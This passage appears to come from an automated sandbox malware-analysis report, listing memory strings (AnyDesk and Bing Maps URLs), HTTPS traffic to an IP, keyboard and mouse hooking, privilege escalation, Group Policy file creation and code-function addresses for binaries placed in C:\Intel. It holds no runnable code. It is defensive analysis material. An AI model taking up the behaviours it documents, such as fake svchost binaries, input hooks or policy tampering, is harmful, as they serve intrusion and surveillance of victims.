Source: svchost.exe, 0000000E.00000002.1414530369.000001FB45077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000E.00000003.1411418260.000001FB45036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411960311.000001FB45067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414143967.000001FB45068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.1269672269.000001E809BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000B.00000003.1269672269.000001E809BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://help.anydesk.com
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://help.anydesk.com/
Source: svchost.exe	String found in binary or memory: https://help.anydesk.com/$
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://help.anydesk.com/HelpLinkInstallLocationAnyDesk
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://my.anydesk.com
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials?client_id=myanydesk-fro
Source: svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/protocol/openid-connect/registrations?client_id=myanyde
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://my.anydesk.com/password-generator.
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/v2
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://order.anydesk.com/trial
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=$
Source: svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/account-migration
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-account
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-id-and-alias
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/license-expired-error
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/my-anydesk-ii#user-management
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/pause-session
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/quick-start-guide
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-anynet_overload
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_auto_disconnect
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_ipc_error
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/the-session-has-ended-unexpectedly
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/users
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/waiting-for-image-black-screen
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/what-is-full-client-management
Source: svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.1411418260.000001FB45036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: curl.exe, 00000039.00000003.1525434919.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525501304.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526751600.0000000001096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: curl.exe, 00000039.00000003.1525456845.0000000001083000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525434919.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525501304.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526751600.0000000001096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/03
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.google.com/intl/$
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.nayuki.io/page/qr-code-generator-library

Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49968 version: TLS 1.2

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_045C8CFE GetKeyState,GetKeyboardState,

59_2_045C8CFE

Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: DirectDrawCreateEx

memstr_3bc3d399-9

Source: C:\Intel\Trays\Trays.exe

Windows user hook set: 0 mouse C:\Intel\Trays\ShellEh6055.dll

Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_d526b318-5

Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_045CA4B8 NtdllDefWindowProc_A,	59_2_045CA4B8
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_045CA4B6 NtdllDefWindowProc_A,	59_2_045CA4B6
Source: C:\Intel\svchost.exe	Code function: 60_2_021DA4B8 NtdllDefWindowProc_A,	60_2_021DA4B8
Source: C:\Intel\svchost.exe	Code function: 60_2_021DA4B6 NtdllDefWindowProc_A,	60_2_021DA4B6
Source: C:\Intel\svchost.exe	Code function: 62_2_021DA4B8 NtdllDefWindowProc_A,	62_2_021DA4B8
Source: C:\Intel\svchost.exe	Code function: 62_2_021DA4B6 NtdllDefWindowProc_A,	62_2_021DA4B6
Source: C:\Intel\svchost.exe	Code function: 63_2_021DA4B8 NtdllDefWindowProc_A,	63_2_021DA4B8
Source: C:\Intel\svchost.exe	Code function: 63_2_021DA4B6 NtdllDefWindowProc_A,	63_2_021DA4B6

Source: C:\Intel\driver.exe

Code function: 58_2_00404B5C: CreateFileW,DeviceIoControl,CloseHandle,

58_2_00404B5C

Source: C:\Intel\driver.exe

Code function: 58_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,

58_2_0040C734

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Intel\dc.exe	File created: C:\Windows\System32\GroupPolicy\Machine
Source: C:\Intel\dc.exe	File created: C:\Windows\System32\GroupPolicy\User
Source: C:\Intel\dc.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Source: C:\Intel\dc.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini

Source: C:\Intel\curl.exe	Code function: 52_2_0093F690	52_2_0093F690
Source: C:\Intel\curl.exe	Code function: 52_2_0093D9C0	52_2_0093D9C0
Source: C:\Intel\curl.exe	Code function: 52_2_00A29A93	52_2_00A29A93
Source: C:\Intel\curl.exe	Code function: 52_2_0093FA40	52_2_0093FA40
Source: C:\Intel\curl.exe	Code function: 52_2_0098E0A0	52_2_0098E0A0
Source: C:\Intel\curl.exe	Code function: 52_2_009EC0C0	52_2_009EC0C0
Source: C:\Intel\curl.exe	Code function: 52_2_0099E0E0	52_2_0099E0E0
Source: C:\Intel\curl.exe	Code function: 52_2_009DC000	52_2_009DC000
Source: C:\Intel\curl.exe	Code function: 52_2_009A4030	52_2_009A4030
Source: C:\Intel\curl.exe	Code function: 52_2_009961A0	52_2_009961A0
Source: C:\Intel\curl.exe	Code function: 52_2_009F81A0	52_2_009F81A0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0C1E0	52_2_00A0C1E0
Source: C:\Intel\curl.exe	Code function: 52_2_00A101F0	52_2_00A101F0
Source: C:\Intel\curl.exe	Code function: 52_2_009DA170	52_2_009DA170
Source: C:\Intel\curl.exe	Code function: 52_2_009EA170	52_2_009EA170
Source: C:\Intel\curl.exe	Code function: 52_2_009DC280	52_2_009DC280
Source: C:\Intel\curl.exe	Code function: 52_2_009F02C0	52_2_009F02C0
Source: C:\Intel\curl.exe	Code function: 52_2_009682E0	52_2_009682E0
Source: C:\Intel\curl.exe	Code function: 52_2_009D4210	52_2_009D4210
Source: C:\Intel\curl.exe	Code function: 52_2_00976250	52_2_00976250
Source: C:\Intel\curl.exe	Code function: 52_2_00A2A39A	52_2_00A2A39A
Source: C:\Intel\curl.exe	Code function: 52_2_009E03A0	52_2_009E03A0
Source: C:\Intel\curl.exe	Code function: 52_2_00A08370	52_2_00A08370
Source: C:\Intel\curl.exe	Code function: 52_2_009B2360	52_2_009B2360
Source: C:\Intel\curl.exe	Code function: 52_2_009DA490	52_2_009DA490
Source: C:\Intel\curl.exe	Code function: 52_2_00A0E4F0	52_2_00A0E4F0
Source: C:\Intel\curl.exe	Code function: 52_2_00A224F0	52_2_00A224F0
Source: C:\Intel\curl.exe	Code function: 52_2_009DE410	52_2_009DE410
Source: C:\Intel\curl.exe	Code function: 52_2_009CA430	52_2_009CA430
Source: C:\Intel\curl.exe	Code function: 52_2_009EA420	52_2_009EA420
Source: C:\Intel\curl.exe	Code function: 52_2_00A0A460	52_2_00A0A460
Source: C:\Intel\curl.exe	Code function: 52_2_00A04440	52_2_00A04440
Source: C:\Intel\curl.exe	Code function: 52_2_009F65D0	52_2_009F65D0
Source: C:\Intel\curl.exe	Code function: 52_2_009EA526	52_2_009EA526
Source: C:\Intel\curl.exe	Code function: 52_2_00A3C545	52_2_00A3C545
Source: C:\Intel\curl.exe	Code function: 52_2_009E0560	52_2_009E0560
Source: C:\Intel\curl.exe	Code function: 52_2_009E2560	52_2_009E2560
Source: C:\Intel\curl.exe	Code function: 52_2_00A186B0	52_2_00A186B0
Source: C:\Intel\curl.exe	Code function: 52_2_00A346DC	52_2_00A346DC
Source: C:\Intel\curl.exe	Code function: 52_2_00996650	52_2_00996650
Source: C:\Intel\curl.exe	Code function: 52_2_009CA650	52_2_009CA650
Source: C:\Intel\curl.exe	Code function: 52_2_009DC780	52_2_009DC780
Source: C:\Intel\curl.exe	Code function: 52_2_009BA7B0	52_2_009BA7B0
Source: C:\Intel\curl.exe	Code function: 52_2_009DA7A0	52_2_009DA7A0
Source: C:\Intel\curl.exe	Code function: 52_2_00A00700	52_2_00A00700
Source: C:\Intel\curl.exe	Code function: 52_2_009F08B0	52_2_009F08B0
Source: C:\Intel\curl.exe	Code function: 52_2_009E08F0	52_2_009E08F0
Source: C:\Intel\curl.exe	Code function: 52_2_00948810	52_2_00948810
Source: C:\Intel\curl.exe	Code function: 52_2_00966800	52_2_00966800
Source: C:\Intel\curl.exe	Code function: 52_2_009DE850	52_2_009DE850
Source: C:\Intel\curl.exe	Code function: 52_2_009F69A0	52_2_009F69A0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0E9E7	52_2_00A0E9E7
Source: C:\Intel\curl.exe	Code function: 52_2_009A8900	52_2_009A8900
Source: C:\Intel\curl.exe	Code function: 52_2_00A0E970	52_2_00A0E970
Source: C:\Intel\curl.exe	Code function: 52_2_009DC970	52_2_009DC970
Source: C:\Intel\curl.exe	Code function: 52_2_009DAA80	52_2_009DAA80
Source: C:\Intel\curl.exe	Code function: 52_2_009E8AB0	52_2_009E8AB0
Source: C:\Intel\curl.exe	Code function: 52_2_009D4AA0	52_2_009D4AA0
Source: C:\Intel\curl.exe	Code function: 52_2_009D4AD0	52_2_009D4AD0
Source: C:\Intel\curl.exe	Code function: 52_2_00A3AA6A	52_2_00A3AA6A
Source: C:\Intel\curl.exe	Code function: 52_2_009D4A70	52_2_009D4A70
Source: C:\Intel\curl.exe	Code function: 52_2_00974BD0	52_2_00974BD0
Source: C:\Intel\curl.exe	Code function: 52_2_009A8BD0	52_2_009A8BD0
Source: C:\Intel\curl.exe	Code function: 52_2_009E0B10	52_2_009E0B10
Source: C:\Intel\curl.exe	Code function: 52_2_00A0AB35	52_2_00A0AB35
Source: C:\Intel\curl.exe	Code function: 52_2_009C0B20	52_2_009C0B20
Source: C:\Intel\curl.exe	Code function: 52_2_009BCC70	52_2_009BCC70
Source: C:\Intel\curl.exe	Code function: 52_2_00A06D90	52_2_00A06D90
Source: C:\Intel\curl.exe	Code function: 52_2_00A0AD99	52_2_00A0AD99
Source: C:\Intel\curl.exe	Code function: 52_2_009BAD20	52_2_009BAD20
Source: C:\Intel\curl.exe	Code function: 52_2_009DAD50	52_2_009DAD50
Source: C:\Intel\curl.exe	Code function: 52_2_009F6D70	52_2_009F6D70
Source: C:\Intel\curl.exe	Code function: 52_2_00A16E50	52_2_00A16E50
Source: C:\Intel\curl.exe	Code function: 52_2_009DAFD0	52_2_009DAFD0
Source: C:\Intel\curl.exe	Code function: 52_2_009E2FE0	52_2_009E2FE0
Source: C:\Intel\curl.exe	Code function: 52_2_009DCF50	52_2_009DCF50
Source: C:\Intel\curl.exe	Code function: 52_2_00988F40	52_2_00988F40
Source: C:\Intel\curl.exe	Code function: 52_2_009DEF70	52_2_009DEF70
Source: C:\Intel\curl.exe	Code function: 52_2_00A1D080	52_2_00A1D080
Source: C:\Intel\curl.exe	Code function: 52_2_009D90F0	52_2_009D90F0
Source: C:\Intel\curl.exe	Code function: 52_2_00A13000	52_2_00A13000
Source: C:\Intel\curl.exe	Code function: 52_2_009D91B0	52_2_009D91B0
Source: C:\Intel\curl.exe	Code function: 52_2_009DF1B0	52_2_009DF1B0
Source: C:\Intel\curl.exe	Code function: 52_2_00A3119C	52_2_00A3119C
Source: C:\Intel\curl.exe	Code function: 52_2_009C11F0	52_2_009C11F0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0D100	52_2_00A0D100
Source: C:\Intel\curl.exe	Code function: 52_2_009B72C0	52_2_009B72C0
Source: C:\Intel\curl.exe	Code function: 52_2_009E12E0	52_2_009E12E0
Source: C:\Intel\curl.exe	Code function: 52_2_0099F220	52_2_0099F220
Source: C:\Intel\curl.exe	Code function: 52_2_009F7240	52_2_009F7240
Source: C:\Intel\curl.exe	Code function: 52_2_00A15240	52_2_00A15240
Source: C:\Intel\curl.exe	Code function: 52_2_009FD260	52_2_009FD260
Source: C:\Intel\curl.exe	Code function: 52_2_0099B310	52_2_0099B310
Source: C:\Intel\curl.exe	Code function: 52_2_009B1350	52_2_009B1350
Source: C:\Intel\curl.exe	Code function: 52_2_009C5490	52_2_009C5490
Source: C:\Intel\curl.exe	Code function: 52_2_009FB490	52_2_009FB490
Source: C:\Intel\curl.exe	Code function: 52_2_009C34B0	52_2_009C34B0
Source: C:\Intel\curl.exe	Code function: 52_2_009E74B0	52_2_009E74B0
Source: C:\Intel\curl.exe	Code function: 52_2_009E14B0	52_2_009E14B0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0F4E0	52_2_00A0F4E0
Source: C:\Intel\curl.exe	Code function: 52_2_009574D0	52_2_009574D0
Source: C:\Intel\curl.exe	Code function: 52_2_009D94C0	52_2_009D94C0
Source: C:\Intel\curl.exe	Code function: 52_2_009FD4C0	52_2_009FD4C0
Source: C:\Intel\curl.exe	Code function: 52_2_009DF4E0	52_2_009DF4E0
Source: C:\Intel\curl.exe	Code function: 52_2_0099B400	52_2_0099B400
Source: C:\Intel\curl.exe	Code function: 52_2_009DB400	52_2_009DB400
Source: C:\Intel\curl.exe	Code function: 52_2_009F7400	52_2_009F7400
Source: C:\Intel\curl.exe	Code function: 52_2_00A1B410	52_2_00A1B410
Source: C:\Intel\curl.exe	Code function: 52_2_009A1590	52_2_009A1590
Source: C:\Intel\curl.exe	Code function: 52_2_009F95B0	52_2_009F95B0
Source: C:\Intel\curl.exe	Code function: 52_2_00995530	52_2_00995530
Source: C:\Intel\curl.exe	Code function: 52_2_009BB6D0	52_2_009BB6D0
Source: C:\Intel\curl.exe	Code function: 52_2_009DD6C0	52_2_009DD6C0
Source: C:\Intel\curl.exe	Code function: 52_2_009F1640	52_2_009F1640
Source: C:\Intel\curl.exe	Code function: 52_2_009DB660	52_2_009DB660
Source: C:\Intel\curl.exe	Code function: 52_2_009317A0	52_2_009317A0
Source: C:\Intel\curl.exe	Code function: 52_2_009717F1	52_2_009717F1
Source: C:\Intel\curl.exe	Code function: 52_2_009717F0	52_2_009717F0
Source: C:\Intel\curl.exe	Code function: 52_2_009D9710	52_2_009D9710
Source: C:\Intel\curl.exe	Code function: 52_2_00A3170E	52_2_00A3170E
Source: C:\Intel\curl.exe	Code function: 52_2_009A9740	52_2_009A9740
Source: C:\Intel\curl.exe	Code function: 52_2_009DF760	52_2_009DF760
Source: C:\Intel\curl.exe	Code function: 52_2_0096D880	52_2_0096D880
Source: C:\Intel\curl.exe	Code function: 52_2_009DB8F0	52_2_009DB8F0
Source: C:\Intel\curl.exe	Code function: 52_2_009E18E0	52_2_009E18E0
Source: C:\Intel\curl.exe	Code function: 52_2_009D3800	52_2_009D3800
Source: C:\Intel\curl.exe	Code function: 52_2_009DF870	52_2_009DF870
Source: C:\Intel\curl.exe	Code function: 52_2_009F7870	52_2_009F7870
Source: C:\Intel\curl.exe	Code function: 52_2_009A9980	52_2_009A9980
Source: C:\Intel\curl.exe	Code function: 52_2_009DF980	52_2_009DF980
Source: C:\Intel\curl.exe	Code function: 52_2_00A0D980	52_2_00A0D980
Source: C:\Intel\curl.exe	Code function: 52_2_009DD9C0	52_2_009DD9C0
Source: C:\Intel\curl.exe	Code function: 52_2_00A139C0	52_2_00A139C0
Source: C:\Intel\curl.exe	Code function: 52_2_009D99E0	52_2_009D99E0
Source: C:\Intel\curl.exe	Code function: 52_2_009FD910	52_2_009FD910
Source: C:\Intel\curl.exe	Code function: 52_2_00971950	52_2_00971950
Source: C:\Intel\curl.exe	Code function: 52_2_009F1950	52_2_009F1950
Source: C:\Intel\curl.exe	Code function: 52_2_00A07A30	52_2_00A07A30
Source: C:\Intel\curl.exe	Code function: 52_2_009D3B90	52_2_009D3B90
Source: C:\Intel\curl.exe	Code function: 52_2_0094BBB0	52_2_0094BBB0
Source: C:\Intel\curl.exe	Code function: 52_2_009A7BD0	52_2_009A7BD0
Source: C:\Intel\curl.exe	Code function: 52_2_009D9BD0	52_2_009D9BD0
Source: C:\Intel\curl.exe	Code function: 52_2_00A05BD0	52_2_00A05BD0
Source: C:\Intel\curl.exe	Code function: 52_2_009DBB20	52_2_009DBB20
Source: C:\Intel\curl.exe	Code function: 52_2_009DDC80	52_2_009DDC80
Source: C:\Intel\curl.exe	Code function: 52_2_009CBCBC	52_2_009CBCBC
Source: C:\Intel\curl.exe	Code function: 52_2_00A31C80	52_2_00A31C80
Source: C:\Intel\curl.exe	Code function: 52_2_009F7CD0	52_2_009F7CD0
Source: C:\Intel\curl.exe	Code function: 52_2_00981CC0	52_2_00981CC0
Source: C:\Intel\curl.exe	Code function: 52_2_00943C30	52_2_00943C30
Source: C:\Intel\curl.exe	Code function: 52_2_00A39C17	52_2_00A39C17
Source: C:\Intel\curl.exe	Code function: 52_2_00A19C70	52_2_00A19C70
Source: C:\Intel\curl.exe	Code function: 52_2_009EBC70	52_2_009EBC70
Source: C:\Intel\curl.exe	Code function: 52_2_009EFD80	52_2_009EFD80
Source: C:\Intel\curl.exe	Code function: 52_2_009E1DB0	52_2_009E1DB0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0BD90	52_2_00A0BD90
Source: C:\Intel\curl.exe	Code function: 52_2_00947DC0	52_2_00947DC0
Source: C:\Intel\curl.exe	Code function: 52_2_009E3D50	52_2_009E3D50
Source: C:\Intel\curl.exe	Code function: 52_2_009F3D50	52_2_009F3D50
Source: C:\Intel\curl.exe	Code function: 52_2_009DFE80	52_2_009DFE80
Source: C:\Intel\curl.exe	Code function: 52_2_009D3E80	52_2_009D3E80
Source: C:\Intel\curl.exe	Code function: 52_2_00A0DE80	52_2_00A0DE80
Source: C:\Intel\curl.exe	Code function: 52_2_009CDEA0	52_2_009CDEA0
Source: C:\Intel\curl.exe	Code function: 52_2_00A0FE60	52_2_00A0FE60
Source: C:\Intel\curl.exe	Code function: 52_2_009EFFC0	52_2_009EFFC0
Source: C:\Intel\curl.exe	Code function: 52_2_009D9F70	52_2_009D9F70
Source: C:\Intel\curl.exe	Code function: 52_2_009A7F60	52_2_009A7F60
Source: C:\Intel\driver.exe	Code function: 58_2_0040FCD0	58_2_0040FCD0
Source: C:\Intel\driver.exe	Code function: 58_2_0040A5C4	58_2_0040A5C4
Source: C:\Intel\driver.exe	Code function: 58_2_00409EDC	58_2_00409EDC
Source: C:\Intel\driver.exe	Code function: 58_2_00431792	58_2_00431792
Source: C:\Intel\driver.exe	Code function: 58_2_0040C824	58_2_0040C824
Source: C:\Intel\driver.exe	Code function: 58_2_004150CC	58_2_004150CC
Source: C:\Intel\driver.exe	Code function: 58_2_004210BE	58_2_004210BE
Source: C:\Intel\driver.exe	Code function: 58_2_0041C940	58_2_0041C940
Source: C:\Intel\driver.exe	Code function: 58_2_0040710C	58_2_0040710C
Source: C:\Intel\driver.exe	Code function: 58_2_00429923	58_2_00429923
Source: C:\Intel\driver.exe	Code function: 58_2_004029D0	58_2_004029D0
Source: C:\Intel\driver.exe	Code function: 58_2_004081E8	58_2_004081E8
Source: C:\Intel\driver.exe	Code function: 58_2_004231FF	58_2_004231FF
Source: C:\Intel\driver.exe	Code function: 58_2_0040C9A4	58_2_0040C9A4
